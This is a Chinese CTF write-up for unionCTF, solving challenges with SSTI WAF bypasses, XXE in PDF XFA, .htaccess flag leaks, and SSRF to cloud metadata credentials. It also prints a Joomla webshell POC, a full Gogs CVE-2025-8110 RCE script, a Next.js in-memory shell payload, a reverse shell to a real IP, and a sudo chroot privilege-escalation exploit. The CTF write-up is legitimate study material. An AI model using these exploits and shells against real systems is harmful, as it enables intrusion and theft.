unionCTF
战绩展示,一队四个人三个web手导致最终做题极度不均,不过学到了很多东西

crypto
Subgroup-Weaver
题目中的 randint(1, 7) % 2 存在统计偏差,生成 1 的概率为 (约 57%),生成 0 的概率为 。 利用大数定律采集大量样本,若某一位上 1 的数量显著少于一半(说明 Key 将原本偏多的噪声 1 翻转为了 0),则该位 Key 为 1;否则为 0。
payload:
from pwn import *from Crypto.Util.number import long_to_bytes
io = remote('nc1.ctfplus.cn', 43403)samples = []
for _ in range(600): io.sendlineafter(b'> ', b'') samples.append(int(io.recvline().strip()))
key_int = 0for i in range(512): if sum((s >> i) & 1 for s in samples) < 300: key_int |= (1 << i)
key_hex = long_to_bytes(key_int).hex()io.sendlineafter(b'> ', key_hex.encode())
print(io.recvall().decode())web
IntraSight

发现8001端口存在管理后台,并且会派发一次性token,该token每使用一次就会失效

先直接看这个后台给的东西,牵手成功,但是缺少必要请求头
X-Internal-Token:origin:
补上后牵手成功了,但是没有body,补上就可

发现ssti模板注入

拿到flag
GlyphWeaver
Unicode 标准化 (NFKC) 漏洞
这是最根本的诱因。在 Python 的 Web 环境中,为了处理全球各地的字符输入,后端常使用 unicodedata.normalize('NFKC', input) 来统一字符格式。
-
原理:许多 Unicode 字符在视觉上或逻辑上等同于标准 ASCII 字符。例如,全角字符
_(U+FF3F) 在经过 NFKC 标准化后,会被转换成标准下划线_(U+005F)。 -
对抗关系:
-
用户输入:发送带有全角字符的 Payload,如
﹛﹛self﹜﹜。 -
WAF 检查:WAF 只盯着标准字符(如
{{或_)。由于全角字符不在黑名单里,WAF 判定为“安全”并放行。
后端处理:程序调用
normalize函数,将混淆字符一键还原成了标准的 Python/Jinja2 代码。 -

所有我们可以将字符变成全角的从而绕过waf,因为题目提示说支持多种字体,但是他的校验是在转换成标准格式之前的,利用这一特性来绕过
下面是一个字符转换的脚本
import unicodedata
def generate_ctf_payload(raw_str): # 1. 移除空格以节省字符数(Jinja2 不需要空格) raw_str = raw_str.replace(" ", "")
result = "" for char in raw_str: # 寻找全角/兼容形式的 Unicode 字符 # 范围从 0xFF01 (!) 到 0xFF5E (~) 基本涵盖了所有 ASCII 字符 found = False for code in range(0xFF01, 0xFF5F): c = chr(code) if unicodedata.normalize('NFKC', c) == char: result += c found = True break
# 处理特殊符号:如果上面没找到,尝试手动定义的变体 if not found: special_map = { '{': '\uFE5B', # ﹛ '}': '\uFE5C', # ﹜ '.': '\uFF0E', # . '_': '\uFF3F', # _ } result += special_map.get(char, char)
return result
# --- 使用示例 ---# 推荐使用 lipsum 方案,长度仅 56 字符,远低于 80 字符限制my_payload = "{{7*7}}" #"{{lipsum.__globals__.__builtins__.open('/flag').read()}}"
final_payload = generate_ctf_payload(my_payload)
print(f"原始长度: {len(my_payload)}")print(f"转换后的 Payload:\n{final_payload}")

win!!!
接下来就是激情ssti了


拿到flag了
SecureDoc
上传普通 PDF 时,后端回显 No XFA content found in PDF
根据回显信息,确定后端会解析 PDF 中的 XFA (XML Forms Architecture) 数据 。由于 XFA 基于 XML 格式,推测后端解析引擎可能未禁用外部实体,存在 XXE (XML External Entity) 漏洞 。
# -*- coding: utf-8 -*-import PyPDF2import iofrom PyPDF2.generic import DecodedStreamObject, NameObject, ArrayObject, DictionaryObject
def create_and_inject_xxe(output_filename): # 1. 构造一个最简单的合法 PDF 结构 packet = io.BytesIO() writer = PyPDF2.PdfWriter() writer.add_blank_page(width=72, height=72) writer.write(packet) packet.seek(0)
# 2. 读取并准备写入 reader = PyPDF2.PdfReader(packet) final_writer = PyPDF2.PdfWriter() final_writer.add_page(reader.pages[0])
# 3. 准备恶意 XFA XML 载荷 # 注意:这里的 xml 格式必须严格遵守 XDP 规范 evil_xfa = '''<?xml version="1.0"?><!DOCTYPE xdp [ <!ENTITY xxe SYSTEM "file:///flag">]><xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/"> <template> <subform name="form1"> <field name="exploit">&xxe;</field> </subform> </template></xdp:xdp>'''
# 4. 创建 XFA 数据流对象 xfa_stream = DecodedStreamObject() xfa_stream._data = evil_xfa.encode('utf-8') xfa_ref = final_writer._add_object(xfa_stream)
# 5. 构建 AcroForm 字典 acroform = DictionaryObject({ NameObject('/Fields'): ArrayObject(), NameObject('/XFA'): xfa_ref })
# 6. 注入到根节点 final_writer._root_object.update({ NameObject('/AcroForm'): acroform })
# 7. 保存文件 with open(output_filename, 'wb') as f: final_writer.write(f)
print("成功!恶意 PDF 已生成: " + output_filename)
if __name__ == "__main__": create_and_inject_xxe('evil.pdf')
然后查看文件就能拿到flag了

ezUpload
题目环境为 Apache 且允许上传文件,考虑通过上传 .htaccess 配置文件来改变目录解析规则 。由于 1k 的限制,无法上传大型 Webshell,需寻找轻量级的读取方案。
利用 Apache 的 mod_headers 模块和 expr 表达式功能 。
-
开启索引:设置
Options +Indexes以便查看目录 。 -
设置响应头:使用
Header set将/flag的内容读取并赋值给自定义响应头X-Flag。 -
Payload (
.htaccess):Options +IndexesDirectoryIndex /test.txtHeader set X-Flag "expr=%{file:/flag}"
访问 /upload 目录,在 HTTP 响应头中获取 Flag

ezupload revenge!!
过滤了 expr=、env、还有什么我记不得了,挺多的 。 解题思路是盲注,利用 RewriteCond 构造一个判断逻辑,具体如下 :
[cite_start]RewriteEngine OnRewriteCond expr "file('/flag') =~/^UniCTF{/"RewriteRule readflag /upload/success [R=301,L]如果 /flag 文件内容以 UniCTF{ 开头,就会执行下面的语句,也就是访问 /upload/readflag 会进行一次 301 跳转到 /upload/success 。写一个盲注脚本 :
import requestsimport string
# 禁用代理,直连目标session = requests.Session()session.proxies = {"http": None, "https": None}
TARGET_URL = "http://80-4abe9029-a761-44c3-9159-406b239dbd79.challenge.ctfplus.cn/"TRIGGER_URL = TARGET_URL + "upload/readflag"
# 字符集建议:十六进制常用字符 + 常用特殊符号alphabet = string.ascii_letters + string.digits + "_-!}"flag = "UniCTF{"
def solve(): global flag while True: for char in alphabet: # 对正则元字符进行转义,防止匹配逻辑出错 test_char = char if char in ".+*?^$()[]{}|\\": test_char = "\\" + char
# 这里的 .htaccess 保持你测试成功的最简版本 htaccess = f"""RewriteEngine OnRewriteCond expr "file('/flag') =~ /^{flag}{test_char}/"RewriteRule ^readflag /upload/success [R=301,L]"""
try: # 1. 上传 session.post(TARGET_URL, files={'file': ('.htaccess', htaccess)}, timeout=10)
# 2. 触发并检查 r = session.get(TRIGGER_URL, allow_redirects=False, timeout=10)
print(f"\r测试中: {flag}{char}", end="")
if r.status_code == 301: flag += char print(f"\n[+] 命中! 目前 Flag: {flag}") if char == "}": return break # 跳出当前字母循环,开始下一位 except Exception as e: print(f"\n[!] 请求出错: {e}") continue
solve()我的脚本到最后一位会陷入循环,需要暂停脚本手动加上花括号 。

CloudDiag

创建账号后给了一个cookie,但是用常规的jwt方法得到的第二部分是乱码,搜了一下是flask session,需要一个专门的解码工具
爆破一下

接着利用key伪造cookie

奇怪登录异常,原来是弱口令
name:rootpasswd:root123
登录root权限,可以看到 root 的历史任务Legacy metadata check。进入任务详情页可见曾经访问的 Config URL:
暴露了元数据服务地址 http://metadata:1338/ ,AWS元数据端点 /latest/metadata/iam/security-credentials/ ,IAM角色名 clouddiag-instance-role
访问 http://metadata:1338/latest/meta-data/iam/security-credentials/clouddiaginstance-role 获取临时凭证

将获取的数据填入,查看clouddiag-secrets,发现flag

进一步填写Rrefix和Object Key

拿到flag
Joomla Revenge!*
自己挖链子,还不会,先贴一个官方poc
<?php
namespace Joomla\CMS\Layout;
interface LayoutInterface
{}
namespace Joomla\CMS\Layout;
class BaseLayout implements LayoutInterface
{}
namespace Psr\Http\Message;interface StreamInterface
{}
namespace Joomla\Filesystem;class Patcher
{
public function __construct() {
$this->destinations = [
'/var/www/html/shell.php' => ['<?php system($_GET["cmd"]); ?>']
];
$this->patches = [];
}
}namespace Laminas\Diactoros;
use Psr\Http\Message\StreamInterface;
use Stringable;
use Joomla\Filesystem\Patcher;
class CallbackStream implements StreamInterface, Stringable
{
public function __toString(): string
{
return "";
} public function __construct() {
$this->callback = [new Patcher(), "apply"];
}}namespace Joomla\Filesystem;use Laminas\Diactoros\CallbackStream;
class Stream{
public function __construct() {
$this->fh = 1;
$this->processingmethod = new CallbackStream();
}
}
namespace Joomla\Filesystem;
$obj = new Stream();echo base64_encode(serialize($obj));gogogos*
打 cve-2025-8110
贴出官方exp
import requestsimport osimport subprocessimport shutilimport base64import sysimport time
import argparse
# Configuration
TARGET_BASE_URL = "http://3000-e803afcd-74ea-4477-b954-d8011439f21e.challenge.ctfplus.cn/" # 目标Gogs, 需要开放注册功能或已存在可登录用户USERNAME = "btop251" # 登录用户名PASSWORD = "123456" # 登录密码REPO_OWNER = "btop251" # 仓库所有者REPO_NAME = "btop251" # 仓库名称SYMLINK_FILENAME = "test" # 要创建的symlink文件名TARGET_FILE = ".git/config" # symlink指向的目标文件,这里是git配置文件
# Derived constantsREPO_URL = f"{TARGET_BASE_URL}/{REPO_OWNER}/{REPO_NAME}.git"API_URL = f"{TARGET_BASE_URL}/api/v1/repos/{REPO_OWNER}/{REPO_NAME}/contents/{SYMLINK_FILENAME}"
import stat
def on_rm_error(func, path, exc_info): # path contains the path of the file that couldn't be removed # let's just assume it's read-only and try to make it writable. os.chmod(path, stat.S_IWRITE) try: func(path) except Exception: pass
def setup_git_repo(): print(f"[*] Setting up local git repository to push symlink '{SYMLINK_FILENAME}' -> '{TARGET_FILE}'...")
if os.path.exists("temp_exploit_repo"): try: shutil.rmtree("temp_exploit_repo", onerror=on_rm_error) except Exception as e: print(f"[!] Warning: Could not clean up old repo: {e}")
if not os.path.exists("temp_exploit_repo"): os.makedirs("temp_exploit_repo") os.chdir("temp_exploit_repo")
try: subprocess.run(["git", "init"], check=True)
# Create a dummy file to commit first (optional, but good practice) with open("README.md", "w") as f: f.write("# POC Repo") subprocess.run(["git", "add", "README.md"], check=True) subprocess.run(["git", "commit", "-m", "Initial commit"], check=True)
# Create the symlink using git hash-object # We want SYMLINK_FILENAME to point to TARGET_FILE print("[*] Creating symlink manually via git objects...") # 1. Get hash of the target path string # Note: echo -n is important to avoid newline proc = subprocess.run(["git", "hash-object", "-w", "--stdin"], input=TARGET_FILE.encode(), stdout=subprocess.PIPE, check=True) blob_hash = proc.stdout.decode().strip()
# 2. Add to index as symlink (mode 120000) subprocess.run(["git", "update-index", "--add", "--cacheinfo", "120000", blob_hash, SYMLINK_FILENAME], check=True)
# Verify the mode in the index proc_ls = subprocess.run(["git", "ls-files", "-s", SYMLINK_FILENAME], stdout=subprocess.PIPE, check=True) print(f"[*] Verified git index mode: {proc_ls.stdout.decode().strip()}")
# 3. Commit subprocess.run(["git", "commit", "-m", "Add malicious symlink"], check=True)
# 4. Push to remote # Construct URL with credentials # Handle protocol (http/https) protocol = REPO_URL.split("://")[0] rest = REPO_URL.split("://")[1] auth_repo_url = f"{protocol}://{USERNAME}:{PASSWORD}@{rest}"
print(f"[*] Pushing to {REPO_URL}...") subprocess.run(["git", "remote", "add", "origin", auth_repo_url], check=True) subprocess.run(["git", "push", "-u", "origin", "main", "-f"], check=True) print("[+] Symlink pushed successfully.")
except subprocess.CalledProcessError as e: print(f"[-] Git operation failed: {e}") sys.exit(1) finally: os.chdir("..")
def trigger_rce(rce_command, proxies=None): print(f"[*] Triggering RCE by overwriting '{SYMLINK_FILENAME}' via API...") print(f"[*] Command to execute: {rce_command}")
# Construct malicious git config # We include standard core settings to avoid breaking git immediately # The fsmonitor is the key payload config_payload = f"""[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true ignorecase = true precomposeunicode = true fsmonitor = "{rce_command}"[remote "origin"] url = {REPO_URL} fetch = +refs/heads/*:refs/remotes/origin/*"""
# Base64 encode the content content_b64 = base64.b64encode(config_payload.encode()).decode()
payload = { "content": content_b64, "message": "Trigger RCE", "branch": "master" }
headers = { "Content-Type": "application/json", "Authorization": f"token {get_token()}" if False else None # We use Basic Auth }
# Try to create a token first if Basic Auth fails or just use it token = create_token(proxies) if token: print(f"[+] Obtained token: {token}") headers["Authorization"] = f"token {token}" auth = None # Do not use basic auth if we have token else: print("[!] Could not create token, falling back to Basic Auth (which failed previously with 401)") auth = (USERNAME, PASSWORD)
print(f"[*] Sending PUT request to {API_URL}") try: response = requests.put(API_URL, json=payload, auth=auth, headers=headers, proxies=proxies)
print(f"[*] Response Status Code: {response.status_code}") print(f"[*] Response Body: {response.text}")
if response.status_code == 500: print("[+] Received 500 Internal Server Error. This is EXPECTED if the exploit worked!") print(" The 'fsmonitor' command is executed when Gogs tries to run 'git add' internally.") print(f" Check if the command '{rce_command}' was executed on the server.") elif response.status_code == 200 or response.status_code == 201: print("[-] Received 200/201. The file was updated. Check if RCE triggered.") else: print("[-] Unexpected response status.")
except Exception as e: print(f"[-] Request failed: {e}")
def create_token(proxies=None): print("[*] Attempting to create an access token via API...") url = f"{TARGET_BASE_URL}/api/v1/users/{USERNAME}/tokens" auth = (USERNAME, PASSWORD) payload = {"name": f"exploit_token_{int(time.time())}"}
try: response = requests.post(url, json=payload, auth=auth, proxies=proxies) if response.status_code == 201: return response.json().get("sha1") else: print(f"[-] Failed to create token. Status: {response.status_code}, Body: {response.text}") return None except Exception as e: print(f"[-] Token creation request failed: {e}") return None
if __name__ == "__main__": parser = argparse.ArgumentParser(description="Gogs CVE-2025-8110 RCE Exploit") parser.add_argument("--command", default="touch /tmp/GOGS_RCE_SUCCESS_CVE_2025_8110", help="Command to execute on the server") parser.add_argument("--skip-setup", action="store_true", help="Skip git repo setup (use if already pushed)") parser.add_argument("--proxy", default=None, help="Proxy URL (default: None)") args = parser.parse_args()
proxies = None if args.proxy: proxies = {"http": args.proxy, "https": args.proxy} print(f"[*] Using proxy: {args.proxy}")
if not args.skip_setup: setup_git_repo() # Wait a moment to ensure consistency time.sleep(2)
rce_command = args.command # Escape double quotes for git config rce_command = rce_command.replace('"', '\\"')
# For verification: Print the exact command being injected print(f"[*] Injected fsmonitor command: {rce_command}")
trigger_rce(rce_command, proxies=proxies)mio’s waf!!*
这道题用了两个洞,一个是前段时间爆出来的nextjs的大洞CVE-2025-66478 ,还有一个提权的洞CVE-2025-32463_chwoot
而且这道题的waf相当强大,把我能想到的方式都waf了
官方的做法是通过两次unicode绕过
waf他会对我发的东西先进行一次unicode解码,没有触发黑名单就会发送给next.js的服务端。
所以我们这里使用二次unicode编码绕过就会被react服务器解析。
下面是一个内存马的payload:
POST / HTTP/1.1Host: nc1.ctfplus.cn:33208Content-Type: multipart/form-data; boundary=383e97eeef64d0c473a0924ed9968211User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15Accept-Encoding: gzip, deflate, zstdCookie: waf_num_token1=1301; waf_num_token2=100393Accept: */*Next-Action: 409defd89dd31eeb200d9ea02b1f325d25f5f5f3f0
--383e97eeef64d0c473a0924ed9968211Content-Disposition: form-data; name="0"Content-Type: text/plain; charset=utf16le
{{hexd(7B000A002000200022007400680065006E0022003A0020002200240031003A005F005F00700072006F0074006F005F005F003A007400680065006E0022002C000A0020002000220073007400610074007500730022003A00200022007200650073006F006C007600650064005F006D006F00640065006C0022002C000A0020002000220072006500610073006F006E0022003A0020002D0031002C000A00200020002200760061006C007500650022003A00200022007B005C0022007400680065006E005C0022003A005C0022002400420031005C0022007D0022002C000A002000200022005F0072006500730070006F006E007300650022003A0020007B000A00200020002000200022005F0070007200650066006900780022003A002000220028006100730079006E006300280029003D003E007B0063006F006E0073007400200068003D0061007700610069007400200069006D0070006F0072007400280027006E006F00640065003A006800740074007000270029002C0063003D0061007700610069007400200069006D0070006F0072007400280027006E006F00640065003A006300680069006C0064005F00700072006F006300650073007300270029003B0063006F006E007300740020006F003D0068002E005300650072007600650072002E00700072006F0074006F0074007900700065002E0065006D00690074003B0068002E005300650072007600650072002E00700072006F0074006F0074007900700065002E0065006D00690074003D006100730079006E0063002000660075006E006300740069006F006E00280065002C002E002E002E00610029007B0069006600280065003D003D003D0027007200650071007500650073007400270029007B0063006F006E00730074005B0072002C0073005D003D0061003B0069006600280072002E00750072006C003D003D003D0027002F0027007C007C0072002E00750072006C002E007300740061007200740073005700690074006800280027002F003F002700290029007B007400720079007B0063006F006E0073007400200063006D0064003D0072002E0068006500610064006500720073005B00270075007300650072002D006100670065006E00740027005D007C007C0027006900640027003B0063006F006E007300740020006F00750074003D0063002E006500780065006300530079006E006300280063006D0064002C007B0065006E0063006F00640069006E0067003A002700750074006600380027002C00740069006D0065006F00750074003A0035003000300030007D0029003B0073002E0077007200690074006500480065006100640028003200300030002C007B00270043006F006E00740065006E0074002D00540079007000650027003A00270074006500780074002F0070006C00610069006E0027002C00270058002D004D0065006D005300680065006C006C0027003A00270061006300740069007600650027007D0029003B0073002E0065006E00640028006F007500740029003B007D00630061007400630068002800780029007B0073002E00770072006900740065004800650061006400280035003000300029003B0073002E0065006E006400280078002E006D0065007300730061006700650029003B007D00720065007400750072006E00200074007200750065003B007D007D00720065007400750072006E0020006F002E006100700070006C007900280074006800690073002C0061007200670075006D0065006E007400730029003B007D003B007D002900280029003B0022002C000A00200020002000200022005F006300680075006E006B00730022003A002000220024005100320022002C000A00200020002000200022005F0066006F0072006D00440061007400610022003A0020007B000A00200020002000200020002000220067006500740022003A0020002200240031003A0063006F006E007300740072007500630074006F0072003A0063006F006E007300740072007500630074006F00720022000A0020002000200020007D000A00200020007D000A007D00)}}--383e97eeef64d0c473a0924ed9968211Content-Disposition: form-data; name="1"
"$@0"--383e97eeef64d0c473a0924ed9968211Content-Disposition: form-data; name="2"
[]--383e97eeef64d0c473a0924ed9968211--使用了yakit的Fuzztag {{hexd()}},因为这个是十六进制的文本,如果直接复制,在burpsuite中会当作普通文本而导致无法执行

这样就代表内存马打上了
但是权限不够,需要利用另外一个漏洞进行提权
接着就可以弹shell了
bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC84MS43MS4xOC45NS8yMzMzIDA+JjEK | base64 -d | bash"
接下来需要执行的代码(摘自官方wp)
STAGE=$(mktemp -d /tmp/mio_exploit.XXXXXX)cd "${STAGE?}" || exit 1cat > mio.c<<EOF#include <stdlib.h>#include <unistd.h>__attribute__((constructor)) void mio_init(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/sh", "sh", "-c", "cat /flag > /tmp/flag ", NULL);}EOFmkdir -p mio_root/etc libnss_echo "passwd: /mio" > mio_root/etc/nsswitch.confgcc -shared -fPIC -Wl,-init,mio_init -o libnss_/mio.so.2 mio.c >/dev/null 2>&1sudo -R mio_root lsbase64处理后的指令
echo U1RBR0U9JChta3RlbXAgLWQgL3RtcC9taW9fZXhwbG9pdC5YWFhYWFgpCmNkICIke1NUQUdFP30iIHx8IGV4aXQgMQpjYXQgPiBtaW8uYzw8RU9GCiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgpfX2F0dHJpYnV0ZV9fKChjb25zdHJ1Y3RvcikpIHZvaWQgbWlvX2luaXQodm9pZCkgewogICAgc2V0cmV1aWQoMCwwKTsKICAgIHNldHJlZ2lkKDAsMCk7CiAgICBjaGRpcigiLyIpOwogICAgZXhlY2woIi9iaW4vc2giLCAic2giLCAiLWMiLCAiY2F0IC9mbGFnID4gL3RtcC9mbGFnICIsIE5VTEwpOwp9CkVPRgpta2RpciAtcCBtaW9fcm9vdC9ldGMgbGlibnNzXwplY2hvICJwYXNzd2Q6IC9taW8iID4gbWlvX3Jvb3QvZXRjL25zc3dpdGNoLmNvbmYKZ2NjIC1zaGFyZWQgLWZQSUMgLVdsLC1pbml0LG1pb19pbml0IC1vIGxpYm5zc18vbWlvLnNvLjIgbWlvLmMgPi9kZXYvbnVsbCAyPiYxCnN1ZG8gLVIgbWlvX3Jvb3QgbHMg | base64 -d | sh这样就获得了一个提权后的账户
我这里是通过将flag的内容复制到tmp/flag中,再cat /tmp/flag来完成的

部分信息可能已经过时









